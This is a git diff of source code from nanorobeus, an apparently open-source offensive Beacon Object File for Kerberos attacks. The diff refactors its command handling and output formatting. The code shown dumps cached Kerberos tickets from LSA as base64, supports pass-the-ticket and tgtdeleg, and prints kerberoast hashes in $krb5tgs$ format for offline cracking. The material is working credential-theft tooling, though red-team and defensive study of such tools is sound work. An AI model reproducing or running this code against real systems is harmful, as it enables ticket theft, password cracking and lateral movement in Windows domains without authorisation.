(ticket == NULL) + { + PRINT(dispatch, "[!] Provide /ticket:.\n"); + goto out; + } + + if (luid == NULL) + { + luid = GetCurrentLUID(); + if (luid == NULL) + { PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError()); - return; + goto out; } - luid.HighPart = cLuid->HighPart; - luid.LowPart = cLuid->LowPart; currentLuid = TRUE; - MSVCRT$free(cLuid); } - execute_purge(dispatch, luid, currentLuid); - } else if (_strcmp(command, "tgtdeleg") == 0) { - char* spn = NULL; - if (_strcmp(arg1, "") != 0) { - spn = arg1; - } else { - PRINT(dispatch, "[!] Specify SPN\n"); - return; + execute_ptt(dispatch, ticket, *luid, currentLuid); + } + else if ( + _strcmp(command, "tgtdeleg") == 0 || + _strcmp(command, "kerberoast") == 0) + { + if (spn == NULL) + { + PRINT(dispatch, "[!] Specify /spn:."); + goto out; } - execute_tgtdeleg(dispatch, spn); - } else if (_strcmp(command, "kerberoast") == 0) { - char* spn = NULL; - if (_strcmp(arg1, "") != 0) { - spn = arg1; - } else { - PRINT(dispatch, "[!] Specify SPN\n"); - return; + + if (_strcmp(command, "tgtdeleg") == 0) + { + execute_tgtdeleg(dispatch, spn); } - execute_kerberoast(dispatch, spn); - } else if (_strcmp(command, "help") == 0) { - PRINT(dispatch, "[*] nanorobeus 0.0.4\n[*] Command list:\n"); - PRINT(dispatch, "\tluid\n"); - PRINT(dispatch, "\tsessions [/luid <0x0> | /all]\n"); - PRINT(dispatch, "\tklist [/luid <0x0> | /all]\n"); - PRINT(dispatch, "\tdump [/luid <0x0> | /all]\n"); - PRINT(dispatch, "\tptt [/luid <0x0>]\n"); - PRINT(dispatch, "\tpurge [/luid <0x0>]\n"); - PRINT(dispatch, "\ttgtdeleg \n"); - PRINT(dispatch, "\tkerberoast \n"); - } else { + else + { + execute_kerberoast(dispatch, spn); + } + } + else if (_strcmp(command, "help") == 0) + { + char *help = + "[*] nanorobeus 0.0.4\n" + "[*] Command list:\n" + "\tluid\n" + "\tsessions [/luid:<0x0> | /all]\n" + "\tklist [/luid:<0x0> | /all]\n" + "\tdump [/luid:<0x0> | /all]\n" + "\tptt /ticket: [/luid:<0x0>]\n" + "\tpurge [/luid:<0x0>]\n" + "\ttgtdeleg /spn:\n" + "\tkerberoast /spn:\n"; + PRINT(dispatch, help); + } + else + { PRINT(dispatch, "[!] Unknown command.\n"); } + +out: + if (luid != NULL) + { + MSVCRT$free(luid); + } + + if (spn != NULL) + { + MSVCRT$free(spn); + } + + if (ticket != NULL) + { + MSVCRT$free(ticket); + } } diff --git a/source/kerberoast.c b/source/kerberoast.c index eb477ed..bafe2e2 100644 --- a/source/kerberoast.c +++ b/source/kerberoast.c @@ -1,66 +1,127 @@ #include "kerberoast.h" #include "tgtdeleg.h" -void execute_kerberoast(WCHAR** dispatch, char* spn) { +void execute_kerberoast(WCHAR **dispatch, char *spn) +{ PUCHAR apreq; ULONG apreqSize; PRINT(dispatch, "[*] Target SPN: %s\n", spn); LONG status = RequestApReq(spn, &apreq, &apreqSize, FALSE); - if (status == 0) { + if (status == 0) + { PBYTE tokID = SearchOID(apreq, apreqSize); - if (*(PUSHORT)tokID == 0x0001) { + if (*(PUSHORT)tokID == 0x0001) + { PKERB_AP_REQUEST apRequest; KERBERR kerbError; apreqSize -= (LONG)(tokID - (PBYTE)apreq); ASN1module_t module = KRB5_Module_Startup(); - if (module != NULL) { + if (module != NULL) + { kerbError = KerbUnpackData(module, tokID + sizeof(SHORT), apreqSize, KERB_AP_REQUEST_PDU, &apRequest); - if (KERB_SUCCESS(kerbError)) { + if (KERB_SUCCESS(kerbError)) + { int encType = apRequest->ticket.encrypted_part.encryption_type; int cipherTextSize = apRequest->ticket.encrypted_part.cipher_text.length; - UCHAR* cipherText = apRequest->ticket.encrypted_part.cipher_text.value; + UCHAR *cipherText = apRequest->ticket.encrypted_part.cipher_text.value; KERB_PRINCIPAL_NAME_name_string_Seq service = apRequest->ticket.server_name.name_string->value; KERB_PRINCIPAL_NAME_name_string_Seq host = apRequest->ticket.server_name.name_string->next->value; KERB_REALM domain = apRequest->ticket.realm; - if (encType == 17 || encType == 18) { - PRINT(dispatch, "[*] Note: Specify valid username instead of 'USER'\n"); - PRINT(dispatch, "[+] Hash: "); - PRINT(dispatch, "$krb5tgs$%d$USER$%s$*%s/%s*$", encType, domain, service, host); - for (int i = cipherTextSize - 12; i < cipherTextSize; i++) { - PRINT(dispatch, "%.2x", cipherText[i]); + if (encType == 17 || encType == 18) + { + char *fmt = "[*] Note: Specify valid username instead of 'USER'\n" + "[+] Hash: " + "$krb5tgs$%d$USER$%s$*%s/%s*$%s\n"; + int size = _strlen(fmt) + cipherTextSize * 2 + 3; + char *hashString = MSVCRT$malloc(size * sizeof(char)); + if (hashString == NULL) + { + PRINT(dispatch, "[!] Unable to allocate memory.\n"); } - PRINT(dispatch, "$"); - for (int i = 0; i < cipherTextSize - 12; i++) { - PRINT(dispatch, "%.2x", cipherText[i]); - } - PRINT(dispatch, "\n"); - } else if (encType == 23) { - PRINT(dispatch, "[+] Hash: "); - PRINT(dispatch, "$krb5tgs$%d$*$%s$%s/%s*$", encType, domain, service, host); - for (int i = 0; i < cipherTextSize; i++) { - if (i == 16) { - PRINT(dispatch, "$"); + else + { + int pos = 0; + for (int i = cipherTextSize - 12; i < cipherTextSize; i++) + { + MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]); + pos += 2; } - PRINT(dispatch, "%.2x", cipherText[i]); + + MSVCRT$_snprintf(hashString + pos, 1, "%s", "$"); + pos++; + + for (int i = 0; i < cipherTextSize - 12; i++) + { + MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]); + pos += 2; + } + PRINT(dispatch, fmt, encType, domain, service, host, hashString); + MSVCRT$free(hashString); + } + } + else if (encType == 23) + { + char *fmt = "[+] Hash: " + "$krb5tgs$%d$*$%s$%s/%s*$%s\n"; + int size = _strlen(fmt) + cipherTextSize * 2 + 1; + char *hashString = MSVCRT$malloc(size * sizeof(char)); + if (hashString == NULL) + { + PRINT(dispatch, "[!] Unable to allocate memory.\n"); + } + else + { + int pos = 0; + for (int i = 0; i < cipherTextSize; i++) + { + if (i == 16) + { + MSVCRT$_snprintf(hashString + pos, 1, "%s", "$"); + pos++; + } + MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]); + pos += 2; + } + PRINT(dispatch, fmt, encType, domain, service, host, hashString); + MSVCRT$free(hashString); + } + } + else + { + char *encTypeString = NULL; + GetEncryptionTypeString(encType, &encTypeString); + if (encTypeString != NULL) + { + PRINT(dispatch, "[!] Unsupported encryption type: %s\n", encTypeString); + MSVCRT$free(encTypeString); + } + else + { + PRINT(dispatch, "[!] Unable to get encryption type.\n"); } - PRINT(dispatch, "\n"); - } else { - PRINT(dispatch, "[!] Unsupported encryption type: %s\n", GetEncryptionTypeString(encType)); } KerbFreeData(module, KERB_AP_REQUEST_PDU, apRequest); - } else { + } + else + { PRINT(dispatch, "[!] Failed to unpack AP-REQ: 0x%x\n", kerbError); } KRB5_Module_Cleanup(module); - } else { + } + else + { PRINT(dispatch, "[!] Could not create ASN.1 module\n"); } MSVCRT$free(apreq); - } else { + } + else + { PRINT(dispatch, "[!] Kerberos OID not found\n"); } - } else { + } + else + { PRINT(dispatch, "[!] Failed to request AP-REQ: 0x%x\n", status); } } \ No newline at end of file diff --git a/source/klist.c b/source/klist.c index 99448d3..aef669b 100644 --- a/source/klist.c +++ b/source/klist.c @@ -1,92 +1,136 @@ #include "klist.h" -void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump) { +void execute_klist(WCHAR **dispatch, LUID luid, BOOL currentLuid, BOOL dump) +{ BOOL highIntegrity = IsHighIntegrity(); - if (!highIntegrity && !currentLuid) { + if (!highIntegrity && !currentLuid) + { PRINT(dispatch, "[!] Not in high integrity.\n"); return; } HANDLE hLsa; NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { PRINT(dispatch, "[!] GetLsaHandle %ld\n", status); return; } ULONG authPackage; LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9}; status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status)); SECUR32$LsaDeregisterLogonProcess(hLsa); return; } LOGON_SESSION_DATA sessionData; status = GetLogonSessionData(luid, &sessionData); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { PRINT(dispatch, "[!] GetLogonSessionData: %ld", status); SECUR32$LsaDeregisterLogonProcess(hLsa); return; } KERB_QUERY_TKT_CACHE_REQUEST cacheRequest; cacheRequest.MessageType = KerbQueryTicketCacheExMessage; - for (int i = 0; i < sessionData.sessionCount; i++) { - if (sessionData.sessionData[i] == NULL) { + for (int i = 0; i < sessionData.sessionCount; i++) + { + if (sessionData.sessionData[i] == NULL) + { continue; } - PrintLogonSessionData(dispatch, (*sessionData.sessionData[i])); - PRINT(dispatch, "\n"); - if (highIntegrity) { + if (highIntegrity) + { cacheRequest.LogonId = sessionData.sessionData[i]->LogonId; - } else { + } + else + { cacheRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0}; } + char *sessionString = NULL; + PrintLogonSessionData(*sessionData.sessionData[i], &sessionString); SECUR32$LsaFreeReturnBuffer(sessionData.sessionData[i]); - KERB_QUERY_TKT_CACHE_EX_RESPONSE* cacheResponse = NULL; + KERB_QUERY_TKT_CACHE_EX_RESPONSE *cacheResponse = NULL; KERB_TICKET_CACHE_INFO_EX cacheInfo; ULONG responseSize; NTSTATUS protocolStatus; status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &cacheRequest, sizeof(cacheRequest), &cacheResponse, &responseSize, &protocolStatus); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status)); + if (sessionString != NULL) + { + MSVCRT$free(sessionString); + } continue; } // check protocol status? - if (cacheResponse == NULL) { + if (cacheResponse == NULL) + { + if (sessionString != NULL) + { + MSVCRT$free(sessionString); + } continue; } int ticketCount = cacheResponse->CountOfTickets; - PRINT(dispatch, "[*] Cached tickets: (%d)\n\n", ticketCount); - if (ticketCount > 0) { - for (int j = 0; j < ticketCount; j++) { + if (sessionString != NULL) + { + PRINT(dispatch, "%s\n\n[*] Cached tickets: (%d)\n\n", sessionString, ticketCount); + MSVCRT$free(sessionString); + } + else + { + PRINT(dispatch, "[!] Unable to print session.\n\n"); + } + if (ticketCount > 0) + { + for (int j = 0; j < ticketCount; j++) + { cacheInfo = cacheResponse->Tickets[j]; - PRINT(dispatch, "\t[%d]\n", j); - PrintTicketInfo(dispatch, cacheInfo); - if (dump) { - PRINT(dispatch, "\tTicket : "); + char *ticketInfo = NULL; + PrintTicketInfo(cacheInfo, &ticketInfo); + if (ticketInfo != NULL) + { + PRINT(dispatch, "\t[%d]\n%s\n", j, ticketInfo); + MSVCRT$free(ticketInfo); + } + else + { + PRINT(dispatch, "\t[!] Unable to print ticket info.\n"); + } + + if (dump) + { PUCHAR ticket; ULONG ticketSize; status = ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheInfo.ServerName, &ticket, &ticketSize); - if (!NT_SUCCESS(status)) { - PRINT(dispatch, "[!] Could not extract the ticket: %ld\n", status); - } else { - if (ticketSize > 0) { + if (!NT_SUCCESS(status)) + { + PRINT(dispatch, "\t[!] Could not extract a ticket: %ld\n", status); + } + else + { + if (ticketSize > 0) + { int len = Base64encode_len(ticketSize); - char* encoded = (char*)MSVCRT$calloc(len, sizeof(char)); - if (encoded == NULL) { - PRINT(dispatch, "[!] Base64 - could not allocate memory.\n"); + char *encoded = (char *)MSVCRT$calloc(len, sizeof(char)); + if (encoded == NULL) + { + PRINT(dispatch, "\t[!] Could not allocate memory (base64).\n"); continue; } Base64encode(encoded, ticket, ticketSize); - PRINT(dispatch, "%s\n\n", encoded); + PRINT(dispatch, "\tTicket : %s\n\n", encoded); MSVCRT$free(encoded); MSVCRT$free(ticket); } } } - PRINT(dispatch, "\n"); } } SECUR32$LsaFreeReturnBuffer(cacheResponse); @@ -95,13 +139,15 @@ void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump) { SECUR32$LsaDeregisterLogonProcess(hLsa); } -NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket, - PULONG ticketSize) { - KERB_RETRIEVE_TKT_REQUEST* retrieveRequest = NULL; - KERB_RETRIEVE_TKT_RESPONSE* retrieveResponse = NULL; +NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR *ticket, + PULONG ticketSize) +{ + KERB_RETRIEVE_TKT_REQUEST *retrieveRequest = NULL; + KERB_RETRIEVE_TKT_RESPONSE *retrieveResponse = NULL; ULONG responseSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + targetName.MaximumLength; - retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST*)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST)); - if (retrieveRequest == NULL) { + retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST *)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST)); + if (retrieveRequest == NULL) + { return STATUS_MEMORY_NOT_ALLOCATED; } retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; @@ -118,73 +164,156 @@ NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, retrieveRequest, responseSize, &retrieveResponse, &responseSize, &protocolStatus); MSVCRT$free(retrieveRequest); - if (NT_SUCCESS(status)) { - if (NT_SUCCESS(protocolStatus)) { - if (responseSize > 0) { + if (NT_SUCCESS(status)) + { + if (NT_SUCCESS(protocolStatus)) + { + if (responseSize > 0) + { ULONG size = retrieveResponse->Ticket.EncodedTicketSize; PUCHAR returnTicket = (PUCHAR)MSVCRT$calloc(size, sizeof(UCHAR)); - if (returnTicket != NULL) { + if (returnTicket != NULL) + { _memcpy(returnTicket, retrieveResponse->Ticket.EncodedTicket, size); *ticket = returnTicket; *ticketSize = size; - } else { + } + else + { status = STATUS_MEMORY_NOT_ALLOCATED; } SECUR32$LsaFreeReturnBuffer(retrieveResponse); } - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(protocolStatus); } - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(status); } return status; } -void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags) { +void PrintTicketFlags(ULONG ticketFlags, char **flagsString) +{ + char *flags[16] = { + "name_canonicalize ", + "anonymous ", + "ok_as_delegate ", + "? ", + "hw_authent ", + "pre_authent ", + "initial ", + "renewable ", + "invalid ", + "postdated ", + "may_postdate ", + "proxy ", + "proxiable ", + "forwarded ", + "forwardable ", + "reserved "}; - char* flags[16] = { - "name_canonicalize", - "anonymous", - "ok_as_delegate", - "?", - "hw_authent", - "pre_authent", - "initial", - "renewable", - "invalid", - "postdated", - "may_postdate", - "proxy", - "proxiable", - "forwarded", - "forwardable", - "reserved" - }; + *flagsString = MSVCRT$malloc(512 * sizeof(char)); + if (*flagsString == NULL) + { + return NULL; + } - for (int i = 0; i < 16; i++) { - if ((ticketFlags >> (i + 16)) & 1) { - PRINT(dispatch, "%s ", flags[i]); + int pos = 0; + for (int i = 0; i < 16; i++) + { + if ((ticketFlags >> (i + 16)) & 1) + { + _strcpy(*flagsString + pos, flags[i]); + pos += _strlen(flags[i]); } } - PRINT(dispatch, "(0x%lx)\n", ticketFlags); + + if (FAILED(_StringCchPrintfExA(*flagsString + pos, 21, NULL, NULL, NULL, "(0x%lx)\0", ticketFlags))) + { + MSVCRT$free(*flagsString); + *flagsString = NULL; + } } -void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo) { - PRINT(dispatch, "\tClient name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ClientName), - GetNarrowStringFromUnicode(cacheInfo.ClientRealm)); - PRINT(dispatch, "\tServer name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ServerName), - GetNarrowStringFromUnicode(cacheInfo.ServerRealm)); - SYSTEMTIME st_utc = ConvertToSystemtime(cacheInfo.StartTime); - PRINT(dispatch, "\tStart time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear, - st_utc.wHour, st_utc.wMinute, st_utc.wSecond); - st_utc = ConvertToSystemtime(cacheInfo.EndTime); - PRINT(dispatch, "\tEnd time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear, - st_utc.wHour, st_utc.wMinute, st_utc.wSecond); - st_utc = ConvertToSystemtime(cacheInfo.RenewTime); - PRINT(dispatch, "\tRenew time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear, - st_utc.wHour, st_utc.wMinute, st_utc.wSecond); - PRINT(dispatch, "\tFlags : "); - PrintTicketFlags(dispatch, cacheInfo.TicketFlags); - PRINT(dispatch, "\tEncryption type : %s\n", GetEncryptionTypeString(cacheInfo.EncryptionType)); +void PrintTicketInfo(KERB_TICKET_CACHE_INFO_EX cacheInfo, char **ticketInfo) +{ + char *fmt = "\tClient name : %s @ %s\n" + "\tServer name : %s @ %s\n" + "\tStart time (UTC) : %d/%d/%d %d:%d:%d\n" + "\tEnd time (UTC) : %d/%d/%d %d:%d:%d\n" + "\tRenew time (UTC) : %d/%d/%d %d:%d:%d\n" + "\tFlags : %s\n" + "\tEncryption type : %s\n"; + + ANSI_STRING clientName = {0}; + ANSI_STRING clientRealm = {0}; + ANSI_STRING serverName = {0}; + ANSI_STRING serverRealm = {0}; + NTDLL$RtlUnicodeStringToAnsiString(&clientName, &cacheInfo.ClientName, TRUE); + NTDLL$RtlUnicodeStringToAnsiString(&serverName, &cacheInfo.ServerName, TRUE); + NTDLL$RtlUnicodeStringToAnsiString(&clientRealm, &cacheInfo.ClientRealm, TRUE); + NTDLL$RtlUnicodeStringToAnsiString(&serverRealm, &cacheInfo.ServerRealm, TRUE); + SYSTEMTIME startTime = ConvertToSystemtime(cacheInfo.StartTime); + SYSTEMTIME endTime = ConvertToSystemtime(cacheInfo.EndTime); + SYSTEMTIME renewTime = ConvertToSystemtime(cacheInfo.RenewTime); + char *flags = NULL; + PrintTicketFlags(cacheInfo.TicketFlags, &flags); + char *encTypeString = NULL; + GetEncryptionTypeString(cacheInfo.EncryptionType, &encTypeString); + + int size = _strlen(fmt) + + clientName.Length + + clientRealm.Length + + serverName.Length + + serverRealm.Length + + 24 + 24 + 24 + 1; + + if (encTypeString != NULL) + { + size += _strlen(encTypeString); + } + + if (flags != NULL) + { + size += _strlen(flags); + } + + *ticketInfo = MSVCRT$malloc(size * sizeof(char)); + if (*ticketInfo == NULL) + { + goto end; + } + + HRESULT result = _StringCchPrintfExA(*ticketInfo, size, NULL, NULL, STRSAFE_IGNORE_NULLS, fmt, + clientName.Buffer, clientRealm.Buffer, + serverName.Buffer, serverRealm.Buffer, + startTime.wDay, startTime.wMonth, startTime.wYear, startTime.wHour, startTime.wMinute, startTime.wSecond, + endTime.wDay, endTime.wMonth, endTime.wYear, endTime.wHour, endTime.wMinute, endTime.wSecond, + renewTime.wDay, renewTime.wMonth, renewTime.wYear, renewTime.wHour, renewTime.wMinute, renewTime.wSecond, + flags, + encTypeString); + + if (FAILED(result)) + { + MSVCRT$free(*ticketInfo); + *ticketInfo = NULL; + } +end: + if (flags != NULL) + { + MSVCRT$free(flags); + } + if (encTypeString != NULL) + { + MSVCRT$free(encTypeString); + } + NTDLL$RtlFreeAnsiString(&clientName); + NTDLL$RtlFreeAnsiString(&serverName); + NTDLL$RtlFreeAnsiString(&clientRealm); + NTDLL$RtlFreeAnsiString(&serverRealm); } diff --git a/source/krb5.c b/source/krb5.c index 0691c82..4f83c96 100644 --- a/source/krb5.c +++ b/source/krb5.c @@ -4,281 +4,287 @@ // Copyright (c) Microsoft Corporation -static int ASN1CALL ASN1Enc_KERB_CRED(ASN1encoding_t enc, ASN1uint32_t tag, KERB_CRED* val); -static int ASN1CALL ASN1Dec_KERB_AP_REQUEST(ASN1decoding_t dec, ASN1uint32_t tag, KERB_AP_REQUEST* val); -static int ASN1CALL ASN1Enc_KERB_CRED_tickets(ASN1encoding_t enc, ASN1uint32_t tag, PKERB_CRED_tickets* val); -static int ASN1CALL ASN1Enc_KERB_TICKET(ASN1encoding_t enc, ASN1uint32_t tag, KERB_TICKET* val); -static int ASN1CALL ASN1Enc_KERB_PRINCIPAL_NAME(ASN1encoding_t enc, ASN1uint32_t tag, KERB_PRINCIPAL_NAME* val); +static int ASN1CALL ASN1Enc_KERB_CRED(ASN1encoding_t enc, ASN1uint32_t tag, KERB_CRED *val); +static int ASN1CALL ASN1Dec_KERB_AP_REQUEST(ASN1decoding_t dec, ASN1uint32_t tag, KERB_AP_REQUEST *val); +static int ASN1CALL ASN1Enc_KERB_CRED_tickets(ASN1encoding_t enc, ASN1uint32_t tag, PKERB_CRED_tickets *val); +static int ASN1CALL ASN1Enc_KERB_TICKET(ASN1encoding_t enc, ASN1uint32_t tag, KERB_TICKET *val); +static int ASN1CALL ASN1Enc_KERB_PRINCIPAL_NAME(ASN1encoding_t enc, ASN1uint32_t tag, KERB_PRINCIPAL_NAME *val); static int ASN1CALL ASN1Enc_KERB_PRINCIPAL_NAME_name_string(ASN1encoding_t enc, ASN1uint32_t tag, - PKERB_PRINCIPAL_NAME_name_string* val); -static int ASN1CALL ASN1Enc_KERB_ENCRYPTED_DATA(ASN1encoding_t enc, ASN1uint32_t tag, KERB_ENCRYPTED_DATA* val); + PKERB_PRINCIPAL_NAME_name_string *val); +static int ASN1CALL ASN1Enc_KERB_ENCRYPTED_DATA(ASN1encoding_t enc, ASN1uint32_t tag, KERB_ENCRYPTED_DATA *val); static int ASN1CALL ASN1Enc_PKERB_TICKET_EXTENSIONS(ASN1encoding_t enc, ASN1uint32_t tag, - PPKERB_TICKET_EXTENSIONS* val); + PPKERB_TICKET_EXTENSIONS *val); static int ASN1CALL ASN1Enc_PKERB_TICKET_EXTENSIONS_Seq(ASN1encoding_t enc, ASN1uint32_t tag, - PKERB_TICKET_EXTENSIONS_Seq* val); -static int ASN1CALL ASN1Dec_KERB_TICKET(ASN1decoding_t dec, ASN1uint32_t tag, KERB_TICKET* val); -static int ASN1CALL ASN1Dec_KERB_PRINCIPAL_NAME(ASN1decoding_t dec, ASN1uint32_t tag, KERB_PRINCIPAL_NAME* val); + PKERB_TICKET_EXTENSIONS_Seq *val); +static int ASN1CALL ASN1Dec_KERB_TICKET(ASN1decoding_t dec, ASN1uint32_t tag, KERB_TICKET *val); +static int ASN1CALL ASN1Dec_KERB_PRINCIPAL_NAME(ASN1decoding_t dec, ASN1uint32_t tag, KERB_PRINCIPAL_NAME *val); static int ASN1CALL ASN1Dec_KERB_PRINCIPAL_NAME_name_string(ASN1decoding_t dec, ASN1uint32_t tag, - PKERB_PRINCIPAL_NAME_name_string* val); -static int ASN1CALL ASN1Dec_KERB_ENCRYPTED_DATA(ASN1decoding_t dec, ASN1uint32_t tag, KERB_ENCRYPTED_DATA* val); + PKERB_PRINCIPAL_NAME_name_string *val); +static int ASN1CALL ASN1Dec_KERB_ENCRYPTED_DATA(ASN1decoding_t dec, ASN1uint32_t tag, KERB_ENCRYPTED_DATA *val); static int ASN1CALL ASN1Dec_PKERB_TICKET_EXTENSIONS(ASN1decoding_t dec, ASN1uint32_t tag, - PPKERB_TICKET_EXTENSIONS* val); + PPKERB_TICKET_EXTENSIONS *val); static int ASN1CALL ASN1Dec_PKERB_TICKET_EXTENSIONS_Seq(ASN1decoding_t dec, ASN1uint32_t tag, - PKERB_TICKET_EXTENSIONS_Seq* val); -static int ASN1CALL ASN1Dec_KERB_AUTHENTICATOR(ASN1decoding_t dec, ASN1uint32_t tag, KERB_AUTHENTICATOR* val); -static int ASN1CALL ASN1Dec_KERB_CHECKSUM(ASN1decoding_t dec, ASN1uint32_t tag, KERB_CHECKSUM* val); -static int ASN1CALL ASN1Dec_KERB_ENCRYPTION_KEY(ASN1decoding_t dec, ASN1uint32_t tag, KERB_ENCRYPTION_KEY* val); + PKERB_TICKET_EXTENSIONS_Seq *val); +static int ASN1CALL ASN1Dec_KERB_AUTHENTICATOR(ASN1decoding_t dec, ASN1uint32_t tag, KERB_AUTHENTICATOR *val); +static int ASN1CALL ASN1Dec_KERB_CHECKSUM(ASN1decoding_t dec, ASN1uint32_t tag, KERB_CHECKSUM *val); +static int ASN1CALL ASN1Dec_KERB_ENCRYPTION_KEY(ASN1decoding_t dec, ASN1uint32_t tag, KERB_ENCRYPTION_KEY *val); static int ASN1CALL ASN1Dec_PKERB_AUTHORIZATION_DATA(ASN1decoding_t dec, ASN1uint32_t tag, - PPKERB_AUTHORIZATION_DATA* val); + PPKERB_AUTHORIZATION_DATA *val); static int ASN1CALL ASN1Dec_PKERB_AUTHORIZATION_DATA_Seq(ASN1decoding_t dec, ASN1uint32_t tag, - PKERB_AUTHORIZATION_DATA_Seq* val); -static int ASN1CALL ASN1Dec_KERB_CRED(ASN1decoding_t dec, ASN1uint32_t tag, KERB_CRED* val); -static int ASN1CALL ASN1Dec_KERB_CRED_tickets(ASN1decoding_t dec, ASN1uint32_t tag, PKERB_CRED_tickets* val); -static void ASN1CALL ASN1Free_KERB_AP_REQUEST(KERB_AP_REQUEST* val); -static void ASN1CALL ASN1Free_KERB_TICKET(KERB_TICKET* val); -static void ASN1CALL ASN1Free_KERB_ENCRYPTED_DATA(KERB_ENCRYPTED_DATA* val); -static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME(KERB_PRINCIPAL_NAME* val); -static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME_name_string(PKERB_PRINCIPAL_NAME_name_string* val); -static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS(PPKERB_TICKET_EXTENSIONS* val); -static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS_Seq(PKERB_TICKET_EXTENSIONS_Seq* val); -static void ASN1CALL ASN1Free_KERB_AUTHENTICATOR(KERB_AUTHENTICATOR* val); -static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA_Seq(PKERB_AUTHORIZATION_DATA_Seq* val); -static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA(PPKERB_AUTHORIZATION_DATA* val); -static void ASN1CALL ASN1Free_KERB_CHECKSUM(KERB_CHECKSUM* val); -//static void ASN1CALL ASN1Free_KERB_REPLY_KEY_PACKAGE2(KERB_REPLY_KEY_PACKAGE2* val); -static void ASN1CALL ASN1Free_KERB_ENCRYPTION_KEY(KERB_ENCRYPTION_KEY* val); -static void ASN1CALL ASN1Free_KERB_CRED(KERB_CRED* val); -static void ASN1CALL ASN1Free_KERB_CRED_tickets(PKERB_CRED_tickets* val); + PKERB_AUTHORIZATION_DATA_Seq *val); +static int ASN1CALL ASN1Dec_KERB_CRED(ASN1decoding_t dec, ASN1uint32_t tag, KERB_CRED *val); +static int ASN1CALL ASN1Dec_KERB_CRED_tickets(ASN1decoding_t dec, ASN1uint32_t tag, PKERB_CRED_tickets *val); +static void ASN1CALL ASN1Free_KERB_AP_REQUEST(KERB_AP_REQUEST *val); +static void ASN1CALL ASN1Free_KERB_TICKET(KERB_TICKET *val); +static void ASN1CALL ASN1Free_KERB_ENCRYPTED_DATA(KERB_ENCRYPTED_DATA *val); +static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME(KERB_PRINCIPAL_NAME *val); +static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME_name_string(PKERB_PRINCIPAL_NAME_name_string *val); +static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS(PPKERB_TICKET_EXTENSIONS *val); +static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS_Seq(PKERB_TICKET_EXTENSIONS_Seq *val); +static void ASN1CALL ASN1Free_KERB_AUTHENTICATOR(KERB_AUTHENTICATOR *val); +static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA_Seq(PKERB_AUTHORIZATION_DATA_Seq *val); +static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA(PPKERB_AUTHORIZATION_DATA *val); +static void ASN1CALL ASN1Free_KERB_CHECKSUM(KERB_CHECKSUM *val); +// static void ASN1CALL ASN1Free_KERB_REPLY_KEY_PACKAGE2(KERB_REPLY_KEY_PACKAGE2* val); +static void ASN1CALL ASN1Free_KERB_ENCRYPTION_KEY(KERB_ENCRYPTION_KEY *val); +static void ASN1CALL ASN1Free_KERB_CRED(KERB_CRED *val); +static void ASN1CALL ASN1Free_KERB_CRED_tickets(PKERB_CRED_tickets *val); // Modern Windows has 75 PDUs typedef ASN1BerEncFun_t ASN1EncFun_t; ASN1EncFun_t encfntab[49] = { - NULL, //(ASN1EncFun_t)ASN1Enc_PKERB_AUTHORIZATION_DATA_LIST, - NULL, //(ASN1EncFun_t)ASN1Enc_PKERB_IF_RELEVANT_AUTH_DATA, - NULL, //(ASN1EncFun_t)ASN1Enc_PKERB_PREAUTH_DATA_LIST, - NULL, 